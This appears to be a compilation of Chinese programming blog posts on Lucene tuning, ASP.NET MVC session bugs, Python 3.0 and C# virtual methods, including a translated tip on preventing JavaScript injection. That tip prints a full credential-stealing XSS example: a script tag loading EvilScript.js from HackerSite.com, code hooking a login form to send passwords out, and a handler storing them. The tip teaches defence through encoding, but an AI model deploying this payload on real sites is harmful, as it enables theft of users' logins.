    lucene缺省是按照自己的相关度算法(score)进行结果排序的,但能够根据其他字段进行结果排序是一个在LUCENE的开发邮件列表中经常 提到的问题,很多原先基于数据库应用都需要除了基于匹配度(score)以外的排序功能。而从全文检索的原理我们可以了解到,任何不基于索引的搜索过程效 率都会导致效率非常的低,如果基于其他字段的排序需要在搜索过程中访问存储字段,速度回大大降低,因此非常是不可取的。

    但这里也有一个折中的解决方法:在搜索过程中能够影响排序结果的只有索引中已经存储的docID和score这2个参数,所以,基于score以外 的排序,其实可以通过将数据源预先排好序,然后根据docID进行排序来实现。这样就避免了在LUCENE搜索结果外对结果再次进行排序和在搜索过程中访 问不在索引中的某个字段值。

    这里需要修改的是IndexSearcher中的HitCollector过程:

    ...
     scorer.score(new HitCollector() {
    private float minScore = 0.0f;
    public final void collect(int doc, float score) {
    if (score > 0.0f &&			  // ignore zeroed buckets
    (bits==null || bits.get(doc))) {	  // skip docs not in bits
    totalHits[0]++;
    if (score >= minScore) {
    /* 原先:Lucene将docID和相应的匹配度score例入结果命中列表中:
    * hq.put(new ScoreDoc(doc, score));	  // update hit queue
    * 如果用doc 或 1/doc 代替 score,就实现了根据docID顺排或逆排
    * 假设数据源索引时已经按照某个字段排好了序,而结果根据docID排序也就实现了
    * 针对某个字段的排序,甚至可以实现更复杂的score和docID的拟合。
    */
    hq.put(new ScoreDoc(doc, (float) 1/doc ));
    if (hq.size() > nDocs) {		  // if hit queue overfull
    hq.pop();			  // remove lowest in hit queue
    minScore = ((ScoreDoc)hq.top()).score; // reset minScore
    }
    }
    }
    }
    }, reader.maxDoc());

    更通用的输入输出接口

    虽然lucene没有定义一个确定的输入文档格式,但越来越多的人想到使用一个标准的中间格式作为Lucene的数据导入接口,然后其他数据,比如 PDF只需要通过解析器转换成标准的中间格式就可以进行数据索引了。这个中间格式主要以XML为主,类似实现已经不下4,5个:

    数据源: WORD       PDF     HTML    DB       other
    \          |       |      |         /
    XML中间格式
    |
    Lucene INDEX

    目前还没有针对MSWord文档的解析器,因为Word文档和基于ASCII的RTF文档不同,需要使用COM对象机制解析。这个是我在Google上查的相关资料:http://www.intrinsyc.com/products/enterprise_applications.asp
    另外一个办法就是把Word文档转换成text:http://www.winfield.demon.nl/index.html

    索引过程优化

    索引一般分2种情况,一种是小批量的索引扩展,一种是大批量的索引重建。在索引过程中,并不是每次新的DOC加入进去索引都重新进行一次索引文件的写入操作(文件I/O是一件非常消耗资源的事情)。

    Lucene先在内存中进行索引操作,并根据一定的批量进行文件的写入。这个批次的间隔越大,文件的写入次数越少,但占用内存会很多。反之占用内存 少,但文件IO操作频繁,索引速度会很慢。在IndexWriter中有一个MERGE_FACTOR参数可以帮助你在构造索引器后根据应用环境的情况充 分利用内存减少文件的操作。根据我的使用经验:缺省Indexer是每20条记录索引后写入一次,每将MERGE_FACTOR增加50倍,索引速度可以 提高1倍左右。

    搜索过程优化

    lucene支持内存索引:这样的搜索比基于文件的I/O有数量级的速度提升。
    http://www.onjava.com/lpt/a/3273
    而尽可能减少IndexSearcher的创建和对搜索结果的前台的缓存也是必要的。

    Lucene面向全文检索的优化在于首次索引检索后,并不把所有的记录(Document)具体内容读取出来,而起只将所有结果中匹配度最高的头 100条结果(TopDocs)的ID放到结果集缓存中并返回,这里可以比较一下数据库检索:如果是一个10,000条的数据库检索结果集,数据库是一定 要把所有记录内容都取得以后再开始返回给应用结果集的。所以即使检索匹配总数很多,Lucene的结果集占用的内存空间也不会很多。对于一般的模糊检索应 用是用不到这么多的结果的,头100条已经可以满足90%以上的检索需求。

    如果首批缓存结果数用完后还要读取更后面的结果时Searcher会再次检索并生成一个上次的搜索缓存数大1倍的缓存,并再重新向后抓取。所以如果 构造一个Searcher去查1-120条结果,Searcher其实是进行了2次搜索过程:头100条取完后,缓存结果用完,Searcher重新检索 再构造一个200条的结果缓存,依此类推,400条缓存,800条缓存。由于每次Searcher对象消失后,这些缓存也访问那不到了,你有可能想将结果 记录缓存下来,缓存数尽量保证在100以下以充分利用首次的结果缓存,不让Lucene浪费多次检索,而且可以分级进行结果缓存。

    Lucene的另外一个特点是在收集结果的过程中将匹配度低的结果自动过滤掉了。这也是和数据库应用需要将搜索的结果全部返回不同之处。

    我的一些尝试

    • 支持中文的Tokenizer:这里有2个版本,一个是通过JavaCC生成的,对CJK部分按一个字符一个TOKEN索引,另外一个是从SimpleTokenizer改写的,对英文支持数字和字母TOKEN,对中文按迭代索引。
    • 基于XML数据源的索引器:XMLIndexer,因此所有数据源只要能够按照DTD转换成指定的XML,就可以用XMLIndxer进行索引了。
    • 根 据某个字段排序:按记录索引顺序排序结果的搜索器:IndexOrderSearcher,因此如果需要让搜索结果根据某个字段排序,可以让数据源先按某 个字段排好序(比如:PriceField),这样索引后,然后在利用这个按记录的ID顺序检索的搜索器,结果就是相当于是那个字段排序的结果了。

    从Lucene学到更多

    Luene的确是一个面对对象设计的典范

    • 所有的问题都通过一个额外抽象层来方便以后的扩展和重用:你可以通过重新实现来达到自己的目的,而对其他模块而不需要;
    • 简单的应用入口Searcher, Indexer,并调用底层一系列组件协同的完成搜索任务;
    • 所 有的对象的任务都非常专一:比如搜索过程:QueryParser分析将查询语句转换成一系列的精确查询的组合(Query),通过底层的索引读取结构 IndexReader进行索引的读取,并用相应的打分器给搜索结果进行打分/排序等。所有的功能模块原子化程度非常高,因此可以通过重新实现而不需要修 改其他模块。 
    • 除了灵活的应用接口设计,Lucene还提供了一些适合大多数应用的语言分析器实现(SimpleAnalyser,StandardAnalyser),这也是新用户能够很快上手的重要原因之一。

    这些优点都是非常值得在以后的开发中学习借鉴的。作为一个通用工具包,Lunece的确给予了需要将全文检索功能嵌入到应用中的开发者很多的便利。

    此外,通过对Lucene的学习和使用,我也更深刻地理解了为什么很多数据库优化设计中要求,比如:

    • 尽可能对字段进行索引来提高查询速度,但过多的索引会对数据库表的更新操作变慢,而对结果过多的排序条件,实际上往往也是性能的杀手之一。
    • 很多商业数据库对大批量的数据插入操作会提供一些优化参数,这个作用和索引器的merge_factor的作用是类似的,
    • 20%/80%原则:查的结果多并不等于质量好,尤其对于返回结果集很大,如何优化这头几十条结果的质量往往才是最重要的。
    • 尽可能让应用从数据库中获得比较小的结果集,因为即使对于大型数据库,对结果集的随机访问也是一个非常消耗资源的操作。

    参考资料:

    Apache: Lucene Project
    http://jakarta.apache.org/lucene/
    Lucene开发/用户邮件列表归档
    Lucene-dev@jakarta.apache.org
    Lucene-user@jakarta.apache.org

    The Lucene search engine: Powerful, flexible, and free
    http://www.javaworld.com/javaworld/jw-09-2000/jw-0915-Lucene_p.html

    Lucene Tutorial
    http://www.darksleep.com/puff/lucene/lucene.html

    Notes on distributed searching with Lucene
    http://home.clara.net/markharwood/lucene/

    中文语言的切分词
    http://www.google.com/search?sourceid=navclient&hl=zh-CN&q=chinese+word+segment

    搜索引擎工具介绍
    http://searchtools.com/

    Lucene作者Cutting的几篇论文和专利
    http://lucene.sourceforge.net/publications.html 

    Lucene的.NET实现:dotLucene
    http://sourceforge.net/projects/dotlucene/

    Lucene作者Cutting的另外一个项目:基于Java的搜索引擎Nutch
    http://www.nutch.org/   http://sourceforge.net/projects/nutch/

    关于基于词表和N-Gram的切分词比较
    http://china.nikkeibp.co.jp/cgi-bin/china/news/int/int200302100112.html
    2005-01-08 Cutting在Pisa大学做的关于Lucene的讲座:非常详细的Lucene架构解说

    特别感谢:
    前网易CTO许良杰(Jack Xu)给我的指导:是您将我带入了搜索引擎这个行业。

    [MVC]报错:“System.NullReferenceException: 未将对象引用设置到对

    mikel阅读(1142)

    今天在调试程序过程中,出现了如下错误提示:

    System.NullReferenceException: 未将对象引用设置到对象的实例(错误代码在Session所在行)

    查了好多资料,终于把问题给解决了~~~吼吼…拿来跟大家分享^_^

    一个重要的知识点:

    “System.NullReferenceException: 未将对象引用设置到对象的实例”问题可能原因如下:
    1、ViewState 对象为Null。
    2、DateSet 空。
    3、SQL语句或Datebase的原因导致DataReader空。
    4、声明字符串变量时未赋空值就应用变量。
    5、未用new初始化对象。
    6、Session对象为空
    7、对控件赋文本值时,值不存在。
    8、使用Request.QueryString()时,所获取的对象不存在,或在值为空时未赋初始值。
    9、使用FindControl时,控件不存在却没有做预处理。
    10、重复定义造成未将对象引用设置到对象的实例错误.

    我的错误是第六种,Session对象为空.

    错误原因:在调用 Session["userid"].ToString()   前应先检查   Session["userid"]    对象是否为   null  

    在未登录的情况下, Session["userid"]  的值是null,直接用ToString()方法肯定会出错的…

    我原来的代码:

    protected void Page_Load(object sender, EventArgs e)
         {
                 strIP = Request.UserHostAddress.ToString();
                 strUserID = Session["userid"].ToString();
                 strMessage = this.tbMessage.Text;
                 strPostID = Request["postid"].ToString();
                 strReplyTime = DateTime.Now.ToString();   
         }

    改正后的代码:

    protected void Page_Load(object sender, EventArgs e)
         {
            if (Session["userid"] != null && Session["postid"] != null)
            {
                 strIP = Request.UserHostAddress.ToString();
                 strUserID = Session["userid"].ToString();
                 strMessage = this.tbMessage.Text;
                 strPostID = Request["postid"].ToString();
                 strReplyTime = DateTime.Now.ToString();
             }
         }

     原文地址 http://hi.baidu.com/xiong5120/blog/item/1024ff241a92f6004c088d45.html

    [MVC]ASP.NET MVC Tip #7 – 使用Html.Encode避免JavaScrip

    mikel阅读(959)

    原文地址:http://weblogs.ASP.NET/stephenwalther/archive/2008/06/23/asp-net-mvc-tip-7-prevent-JavaScript-injection-attacks-with-html-encode.aspx

    转载醒目!这里提出了一个不经常被开发人员注意的问题,JavaScript其实也是可以注入的。

    摘要:在这个Tip中,你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事,并解释了如何通过一种简单的方式来防止这种攻击。

    当你从站点的浏览者那里收集表单数据,并将表单数据展示给其他浏览者时,你应该对表单数据进行编码。否则,你的站点大门将为JavaScript注入攻击打开。

    例如,如果你创建了一个论坛,在将消息显示到Web页面之前,请确保对其进行了编码。如果你没有对消息进行编码,某些人可能会发表一个带JavaScript的消息,做一件大大的坏事。 

    在 这个Tip中,我将强调黑客可以利用JavaScript注入攻击做非常严重的事情。让我惊奇的是,关心防止JavaScript注入攻击的Web开发者 少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个 Tip中,我将向你展示黑客如何利用JavaScript注入攻击来盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。

    据Wikipedia称,JavaScript注入攻击已经“超越缓冲区溢出,成为最常见的公共安全弱点。”更恐怖的是,据Wikipedia称,70%的网站向JavaScript注入攻击敞开着(http://en.wikipedia.org/wiki/Cross-site_scripting)。因此,本文读者,你们当中的70%正在犯懒并危害着你们网站的用户。羞羞!

    如何通过JavaScript盗取另一个用户的密码

    这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序,使用的是ASP.NET MVC

    Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容,可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。

    图1展示了反馈表单。

    图1 – 反馈表单

    注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中(Web站点的常见场景)。

    由于反馈表单显示了其它客户留下的反馈,该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码:

    <script src=http://HackerSite.com/EvilScript.js></script>

    当该文本重新显示在反馈表单页中时,<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。

    清单1 – EvilScript.js

    1. if (window.attachEvent)  
    2.      document.forms[0].attachEvent('onsubmit', fn);  
    3.    
    4. function fn(e)  
    5. {  
    6.      var userName = document.getElementById("userName").value;  
    7.      var password = document.getElementById("password").value;  
    8.      var d = new Date();  
    9.      var url = "HackerSite/EvilHandler.ashx?userName=" + userName   
    10.         + "&password=" + password + "&d=" + d.valueOf();  
    11.    
    12.      var script = document.createElement("script");  
    13.      script.type = 'text/javascript';  
    14.      script.src = url;  
    15.      document.body.appendChild( script );   

     

    清 单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时,会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来,该脚本向页面中动态注入了一 个<script>标签,并将userName和password传递给一个名为EvilHandler.ashx的(可能是远程的)处理 器。

    EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码,并存放在数据库中。

    清单2 – EvilHandler.ashx

    1. using System;  
    2. using System.Collections;  
    3. using System.Data;  
    4. using System.Linq;  
    5. using System.Web;  
    6. using System.Web.Services;  
    7. using System.Web.Services.Protocols;  
    8. using System.Xml.Linq;  
    9.    
    10. namespace CustomerSurvey.HackerSite  
    11. {  
    12.      [WebService(Namespace = "http://tempuri.org/")]  
    13.      [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]  
    14.      public class EvilHandler : IHttpHandler  
    15.      {  
    16.    
    17.          public void ProcessRequest(HttpContext context)  
    18.          {  
    19.              // Get user name and password from URL  
    20.              string userName = context.Request.QueryString["userName"];  
    21.              string password = context.Request.QueryString["password"];  
    22.                
    23.              // Store in database  
    24.              HackerDataContext db = new HackerDataContext();  
    25.              StolenPassword pwd = new StolenPassword();  
    26.              pwd.userName = userName;  
    27.              pwd.password = password;  
    28.              db.StolenPasswords.InsertOnSubmit(pwd);  
    29.              db.SubmitChanges();  
    30.          }  
    31.    
    32.          public bool IsReusable  
    33.          {  
    34.              get 
    35.              {  
    36.                  return false;  
    37.              }  
    38.          }  
    39.      }  

    假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下,黑客现在就能访问任何人的帐户信息了,并能把任何人的钱转到位于开曼群岛的帐户中。很不错,才需要这么几行代码。

    ASP.NET MVC不支持请求验证

    这 种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证(Request Validation)的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字,请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样 的文本,就会导致异常的抛出。

    要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中,你必须完全由自己来防止JavaScript注入攻击。

    防止JavaScript注入攻击

    防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。

    例如,下面是Index视图中用于显示用户反馈的部分代码:

    1. <h1>Customer Feedback</h1> 
    2. <ul> 
    3. <% foreach (Survey survey in ViewData.Model)  
    4.    { %> 
    5.    <li> 
    6.     <%= survey.EntryDate.ToShortDateString() %> 
    7.     &mdash;  
    8.     <%= survey.Feedback %> 
    9.    </li> 
    10. <% } %> 
    11. </ul> 

    该代码包含一个循环,遍历了Suvey实体。为每个Survey实体显示了Feedback和EntryDate属性。

    为了防止JavaScript注入攻击,你需要使用Html.Encode()辅助方法。下面是循环代码的正确编写方式:

    1. <h1>Customer Feedback</h1> 
    2. <ul> 
    3. <% foreach (Survey survey in ViewData.Model)  
    4.     { %> 
    5.     <li> 
    6.      <%= survey.EntryDate.ToShortDateString() %> 
    7.      &mdash;  
    8.      <%= Html.Encode(survey.Feedback) %> 
    9.     </li> 
    10. <% } %> 
    11. </ul> 

    哪些内容需要编码

    注意在前面的代码中,我并没有对EntryDate属性进行编码。在向页面显示EntryDate属性时无需进行编码的原因有二。

    首先,EntryDate并不是由网站的访问者输入的。EntryDate属性的值是由代码生成的。黑客无法在这里注入危险代码。

    假设的确是由访问者来输入EntryDate属性。由于EntryDate在SQL Server数据库中是作为DateTime类型存放的,黑客也不可能向其中注入恶意代码。因此,你无须担心是否需要对该属性进行编码。

    通常,任何时候你在接受用户输入的文本内容时都要注意JavaScript注入攻击。例如,要小心地显示用户名。如果你允许用户创建属于他们自己的用户名,则用户可能偷偷地将一个恶意JavaScript字符串放在他们的用户名中(或一个指向色情图片的img标签)。

    另外,小心超链接。很多blog应用程序允许匿名用户在发表评论时填写他们的网站链接。黑客可能会向链接中嵌入而已JavaScript。下面是一个简单的例子:

    1. <a href="javascript:alert('Something Evil!')">Mr. Hacker</a> 

    当你单击该链接时,JavaScript就会执行。在这种情况下,没有什么恶劣的事发生。但是,你可能执行的是窃取表单数据或cookies数据的代码。

    验证、会话状态和HttpOnly Cookies

    你可以利用JavaScript注入攻击来窃取Cookies。例如,你将用户的信用卡号存放在一个Cookies中,然后你可以向页面中注入JavaScript,使用document.cookie DOM属性来截取信用卡号。

    ASP.NET Forms Authentication和ASP.NET Session State都使用Cookie。Forms Authentication依赖于一个存放在名为.ASPXAUTH的Cookie中的验证票据(Ticket)。Session State使用一个名为ASP.NET_SessionId的Cookie。如果可以窃取这些Cookies,你就能模仿其他网站用户并且去用户的会话状 态信息。

    幸运的是,Microsoft对此采取了预防措 施,使得很难窃取Forms Authentication和Session State Cookies。它们的Cookies都是HttpOnly Cookie。HttpOnly Cookie是一种特殊的Cookie,它不能通过客户端代码读取。你只能在Web服务器上读取HttpOnly Cookie。

    Microsoft Internet Explorer、Firefox和Opera都支持HttpOnly Cookies。Safari和一些比较老的浏览器——很不幸——不支持。因此,你仍需要注意为所有用户输入数据进行HTML编码,以避免黑客盗取 Forms Authentication和Session State Cookie。

    小结

    该Tip的目的是通过恐吓教会你做正确的事情。正如在简介中提到那样,JavaScript注入攻击是最常见的安全攻击类型。很多开发者并没有花费太多时间关心它。希望该Tip能够让你注意,每当在MVC视图中显示从用户那里收集来得数据时,都要进行编码。

    你可以通过点击下面的链接来尝试本文讨论的代码。当你输入用户名和密码后,单击登录表单中的按钮,用户名和密码会出现在StolenPasswords数据库表中。
    此处下载源代码:http://weblogs.asp.net/blogs/stephenwalther/Downloads/Tip7/Tip7.zip

    [MVC]Asp.net MVC中的Session

    mikel阅读(782)

    最近使用ASP.NET MVC 中的Controller.Session对象时发现一个问题
    原代码如下:
    InformationController:
                //网店控制器
                ShopController shop = new ShopController();
                UserInfo user = business.SelectById<UserInfo>(userId);
                //查询用户
                Session["User"] = user;
                //图片信息
                //定位到编辑图片信息页面
                if (picture == 1)
                {
                    return shop.EditProduct(identifier, modId);
                }
                //文字信息
                if (picture == 2)
                {
                    return shop.EditInfo(identifier, modId);
                }
    ShopController:
            public ActionResult EditInfo(int identifier, int moduleId)
            {
                //如果登录用户为空则重定向到登录界面
                if (null == Session["User"])
                {
                    return RedirectToAction("Index", "User");
                }
            }
    实现的功能就是,通过InfomationController赋值Session["User"]对象,然后调用ShopController的action
    但是上述代码执行后,shopController中读取不到Session["User"]?!于是想到Session是MVC封装到
    Controller的一个属性Session,因此将上述对Session["user"]的赋值只是针对informationController
    而不是shopController,因此shopController读取不到Session["User"]所以出错
    将代码改为:
    InformationController:
                //网店控制器
                ShopController shop = new ShopController();
                UserInfo user = business.SelectById<UserInfo>(userId);
                //查询用户
                shop.Session["User"] = user;
    问题解决,但是还有个疑问就是为什么我用户登录的Session["User"]ShopController就能够调用呢?
    看来需要看看MVC源码了
    翻看了MVC的源码发现先前的修改是错的,同样是提示NullReferenceException
    Controller的源码中Session属性的声明如下:
            public HttpSessionStateBase Session {
                get {
                    return HttpContext == null ? null : HttpContext.Session;
                }
            }
    原来是只读属性,于是单步跟踪发现
    ShopController shop= new ShopController();
    创建后的Shop控制器的Session属性为Null,结果给Session["User"]赋值肯定报空指针异常,于是发现直接创建
    Cotroller肯定不行,于是改用RedirectToAction()问题解决

    [Python]Python3.0发布

    mikel阅读(749)

         Python 3.0 已经正式发布。Python 3.0 又称“Python3000”或“Py3k”,历经近 3 年的开发,是 Python 发布历史中的一个里程碑版本。 需要注意的是,Python 3.0 与 2.x不兼容,其内置对象已被更改,且许多不赞成的特性也最终被移除。不过 Python提供了一个升级工具“2to3”,详情请看:http://docs.python.org/library/2to3.html

         Python 3.0 的新增特性:http://docs.python.org/dev/3.0/whatsnew/3.0.html

      新版本下载:http://python.org/download/releases/3.0/

    [C#]C#的虚函数解析机制

    mikel阅读(1121)

    转载:http://www.cnblogs.com/560889223/archive/2008/12/03/1346340.html

    前言

      这篇文章出自我个人对C#虚函数特性的研究和理解,未参考、查阅第三方资料,因此很可能存在谬误之处。我在这里只是为了将我的理解呈现给大家,也希望大家在看到我犯了错误后告诉我。

    用词约定

    • “方法的签名”包括返回类型、方法名、参数列表,这三者共同标识了一个方法。
    • “声明方法”,即指出该方法的签名。“定义方法”,则是指定调用方法时执行的代码。
    • “同名方法”是指方法的签名相同的两个方法。
    • “重写”一个方法,意味着子类想继承父类对方法的声明,却想重新定义该方法。
    • 单独使用“使用”一词时,包括“显式”或“隐式”两种使用方式:前者是指在代码中指明,后者是根据语句的上下文推断。
    • 某个类的方法,包括了在该类中定义的方法,以及由继承得到的直接父类的方法。注意这条规则的递归性质。  

    理论部分

      在父类与子类里,除了类之间的继承链,还存在方法之间的继承链。

      C#里,在一个类中声明一个方法时,有四个和方法的继承性有关的关键字:newvirtualsealedoverride

    • virtual 表示允许子类的同名方法与其建立继承链。
    • override 表示其与父类的同名方法之间建立了继承链,并隐式使用 virtual 关键字。
    • new 表示其切断了其与父类的同名方法之间的继承链。
    • sealed 表示将其与父类的同名方法建立继承链(注意这个就是 override 关键字的特性),并且不允许子类的同名方法与其建立继承链。在使用 sealed 关键字时,必须同时显式使用 override 关键字。

      以及:

    • 在定义方法时,若不使用以上关键字,方法就会具有new关键字的特性。对于这一点,如果父类中没有同名方法,则没有任何影响;如果父类中存在一个同名方法,编译器会给出一个警告,询问你是否是想隐藏父类的同名方法,并推荐你显式地为其指定new关键字。

      ①其:指代正在进行声明的方法。

     

      依照上述的说明,在调用类上的某个方法时,可以为该方法构建出一个或多个“方法继承链”。首先列出从子类一直到父类的类继承链,并列出这些类对该方法的最初定义或重定义。然后从父类到子类,逐个检查每个类对该方法的定义,按以下规则构造方法继承链:

    1. 任何一个没有使用 overridesealed 关键字的方法定义都将成为继承链的开端;
    2. 如果该类在定义方法时使用了 virtual 关键字,则会被附加到继承链中。
    3. 继承链的结束取决于两个因素:若子类中存在使用了 new 关键字的同名方法,则之前的继承链立刻结束(该方法不会被添加到继承链中);若子类中存在使用了 sealed 关键字的同名方法,则在将该方法添加到继承链后,然后结束继承链。

      当你拿到一个子类的实例,却使用父类的对象引用调用一个方法时(例如“A instanceRef = new C(); instanceRef.Foo1()”,这时类型A的引用就指向了类型C的对象),C#会先检查该方法是否为一个虚方法(使用了 virtual 关键字):如果不是,则简单地调用该方法的父类版本即可;如果是,则沿着方法的继承链向下寻找,找到位于继承链底部的那个方法。
      ②子类:指该实例的实际类型。
      ③父类:指在调用方法时,使用的对象引用的类型;该类型必然是子类的父类型。

    实践部分

      我定义了以下四个类:

    类定义

     

      当运行如下代码时,会打印出什么?

    运行这些代码

     

      结果是:

    打印出的结果

     

      例子很简单,依照之前的规则,可以画出如下一幅图。图中圆形的末端表示封闭、中断继承链;菱形的末端表示开放、允许构建继承链;类描述中的等式,表示从该类型的对象引用调用对应方法(等号左边的斜体)时,实际执行的代码体是在何处(等号右边的正常字体)定义的。

    类继承链与方法继承链

      其实,为了确认这里描述出来的方法的继承链,甚至都不需要实地运行此代码。将代码放在Visual Studio里,使用“重构”(Refactor)菜单中的“重命名”(Rename)修改方法名称,待完成后就会发现在方法继承链的中断处,自动修改符 号名称的动作也中止了。

    补充

      对于 this 关键字,上述的规则也适用。只需要将 this 依 照当前的代码上下文翻译为对应的类型引用,就可以依照之前叙述的方法确定最终调用的代码了。例如在C中的Foo1方法里假如有这么一条语 句:“this.Foo2()”。当在外部运行“D.Foo2()”时,就会就会解析到“C.Foo1()”,这时,C.Foo1()方法的内部在解析 “this.Foo2()”时就会解析到D.Foo2()。

      对于 base 关键字,则比较简单,只是在基类的方法(这里“基类的方法”一词,请参见“用词约定”的第6条。)中找到同名方法,然后调用,不存在解析虚函数的过程。

      对于被委托对象包装的方法指针,在调用委托时,仍会按照上述规则解析到正确的方法。

      本文示例中使用了“Foo”开头的方法名,而这个习惯借鉴自一些别的文章。这里是有个典故还是怎么?